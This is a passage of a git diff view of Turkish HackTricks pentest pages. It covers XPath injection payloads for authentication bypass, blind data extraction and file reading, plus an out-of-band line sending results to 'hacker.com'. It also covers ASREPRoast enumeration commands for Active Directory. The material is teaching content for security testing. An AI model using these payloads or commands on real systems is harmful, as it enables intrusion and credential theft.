* **/bookstore**: Kök elemanı bookstore seçilir. Bir elemanın mutlak yolunun bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
|
||||
* **bookstore/book**: bookstore'un çocukları olan tüm book elemanları seçilir.
|
||||
* **//book**: Belgedeki tüm book elemanları, konumlarından bağımsız olarak seçilir.
|
||||
* **bookstore//book**: bookstore elemanının altındaki tüm book elemanları, bookstore elemanının altındaki konumlarından bağımsız olarak seçilir.
|
||||
* **//@lang**: lang adındaki tüm nitelikler seçilir.
|
||||
|
||||
### Koşulların Kullanımı
|
||||
|
||||
Seçimleri daraltmak için koşullar kullanılır:
|
||||
|
||||
* **/bookstore/book\[1]**: bookstore öğesinin ilk book öğesi çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü \[0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
|
||||
* **/bookstore/book\[last()]**: bookstore öğesinin son book öğesi çocuğu seçilir.
|
||||
* **/bookstore/book\[last()-1]**: bookstore öğesinin sondan bir önceki book öğesi çocuğu seçilir.
|
||||
* **/bookstore/book\[position()<3]**: bookstore öğesinin ilk iki book öğesi çocuğu seçilir.
|
||||
* **//title\[@lang]**: lang niteliğine sahip tüm title öğeleri seçilir.
|
||||
* **//title\[@lang='en']**: "lang" niteliği değeri "en" olan tüm title öğeleri seçilir.
|
||||
* **/bookstore/book\[price>35.00]**: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book öğeleri seçilir.
|
||||
* **/bookstore/book\[price>35.00]/title**: Fiyatı 35.00'dan büyük olan bookstore'daki book öğelerinin tüm title öğeleri seçilir.
|
||||
* **/bookstore/book\[1]**: bookstore elemanının ilk book elemanı çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için ilk düğümü \[0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
|
||||
* **/bookstore/book\[last()]**: bookstore elemanının son book elemanı çocuğu seçilir.
|
||||
* **/bookstore/book\[last()-1]**: bookstore elemanının sondan bir önceki book elemanı çocuğu seçilir.
|
||||
* **/bookstore/book\[position()<3]**: bookstore elemanının ilk iki book elemanı çocuğu seçilir.
|
||||
* **//title\[@lang]**: lang niteliğine sahip tüm title elemanları seçilir.
|
||||
* **//title\[@lang='en']**: "lang" niteliği değeri "en" olan tüm title elemanları seçilir.
|
||||
* **/bookstore/book\[price>35.00]**: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book elemanları seçilir.
|
||||
* **/bookstore/book\[price>35.00]/title**: Fiyatı 35.00'dan büyük olan bookstore'daki book elemanlarının tüm title elemanları seçilir.
|
||||
|
||||
### Bilinmeyen Düğümlerin İşlenmesi
|
||||
|
||||
Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:
|
||||
|
||||
* **\***: Herhangi bir öğe düğümünü eşleştirir.
|
||||
* **\***: Herhangi bir eleman düğümünü eşleştirir.
|
||||
* **@**\*: Herhangi bir nitelik düğümünü eşleştirir.
|
||||
* **node()**: Herhangi bir türdeki düğümü eşleştirir.
|
||||
|
||||
Diğer örnekler şunlardır:
|
||||
|
||||
* **/bookstore/\***: bookstore öğesinin tüm çocuk öğe düğümlerini seçer.
|
||||
* **//\***: Belgedeki tüm öğeleri seçer.
|
||||
* **//title\[@\*]**: En az bir niteliği olan tüm title öğelerini seçer.
|
||||
* **/bookstore/\***: bookstore elemanının tüm çocuk eleman düğümlerini seçer.
|
||||
* **//\***: Belgedeki tüm elemanları seçer.
|
||||
* **//title\[@\*]**: En az bir niteliği olan tüm title elemanlarını seçer.
|
||||
|
||||
## Örnek
|
||||
```xml
|
||||
|
@ -104,7 +104,7 @@ Diğer örnekler şunlardır:
|
|||
</user>
|
||||
</data>
|
||||
```
|
||||
### Bilgilere Erişim Sağlama
|
||||
### Bilgilere Erişim
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
@ -184,7 +184,7 @@ string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/accou
|
|||
Select account
|
||||
Select the account using the username and use one of the previous values in the password field
|
||||
```
|
||||
### **Null enjeksiyonunu istismar etme**
|
||||
### **Null enjeksiyonunu kötüye kullanma**
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
|
@ -212,9 +212,9 @@ admin' or '
|
|||
admin' or '1'='2
|
||||
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
||||
```
|
||||
## String extraction
|
||||
## Dize çıkarımı
|
||||
|
||||
Çıktı, dizeleri içerir ve kullanıcı değerleri aramak için manipüle edebilir:
|
||||
Çıktı, dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:
|
||||
```
|
||||
/user/username[contains(., '+VALUE+')]
|
||||
```
|
||||
|
@ -265,7 +265,7 @@ flag += al
|
|||
print("[+] Flag: " + flag)
|
||||
break
|
||||
```
|
||||
### Dosyayı Oku
|
||||
### Dosya oku
|
||||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
|
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -318,8 +318,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦.**
|
||||
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **@hacktricks\_live**'ı takip edin** 🐦.
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,44 @@
|
|||
# ASREPRoast
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## ASREPRoast
|
||||
|
||||
ASREPRoast, **Kerberos ön kimlik doğrulama gerektiren özellik** eksik olan kullanıcıları hedef alan bir güvenlik saldırısıdır. Temelde, bu zafiyet, saldırganların kullanıcının şifresine ihtiyaç duymadan Domain Controller (DC) üzerinden bir kullanıcı için kimlik doğrulama talep etmelerine olanak tanır. DC, ardından kullanıcının şifresine dayalı anahtarla şifrelenmiş bir mesajla yanıt verir; saldırganlar bu mesajı çevrimdışı olarak kırmaya çalışarak kullanıcının şifresini keşfetmeye çalışabilirler.
|
||||
ASREPRoast, **Kerberos ön kimlik doğrulama gerekli niteliği** eksik olan kullanıcıları hedef alan bir güvenlik saldırısıdır. Temelde, bu zafiyet, saldırganların kullanıcının şifresine ihtiyaç duymadan Domain Controller (DC) üzerinden bir kullanıcı için kimlik doğrulama talep etmelerine olanak tanır. DC, ardından kullanıcının şifresine dayalı anahtarla şifrelenmiş bir mesajla yanıt verir; saldırganlar bu mesajı çevrimdışı olarak çözmeye çalışarak kullanıcının şifresini keşfetmeye çalışabilirler.
|
||||
|
||||
Bu saldırı için ana gereksinimler şunlardır:
|
||||
|
||||
* **Kerberos ön kimlik doğrulama eksikliği**: Hedef kullanıcıların bu güvenlik özelliği etkin olmamalıdır.
|
||||
* **Domain Controller (DC) ile bağlantı**: Saldırganların talepleri gönderebilmesi ve şifrelenmiş mesajları alabilmesi için DC'ye erişim sağlaması gerekir.
|
||||
* **İsteğe bağlı domain hesabı**: Bir domain hesabına sahip olmak, saldırganların LDAP sorguları aracılığıyla savunmasız kullanıcıları daha verimli bir şekilde tanımlamasını sağlar. Böyle bir hesap olmadan, saldırganlar kullanıcı adlarını tahmin etmek zorundadır.
|
||||
* **Domain Controller (DC) ile bağlantı**: Saldırganların talepleri gönderebilmek ve şifreli mesajları alabilmek için DC'ye erişimleri olmalıdır.
|
||||
* **İsteğe bağlı domain hesabı**: Bir domain hesabına sahip olmak, saldırganların LDAP sorguları aracılığıyla savunmasız kullanıcıları daha verimli bir şekilde tanımlamalarını sağlar. Böyle bir hesap olmadan, saldırganlar kullanıcı adlarını tahmin etmek zorundadır.
|
||||
|
||||
#### Savunmasız kullanıcıları listeleme (domain kimlik bilgileri gerektirir)
|
||||
|
||||
|
@ -52,8 +52,6 @@ Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
|
|||
```bash
|
||||
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### AS\_REP mesajı isteği
|
||||
|
||||
{% code title="Linux Kullanarak" %}
|
||||
|
@ -117,7 +115,7 @@ ASRepCatcher listen
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -130,7 +128,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 'a katılın!
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -142,7 +140,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks** [**ve**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue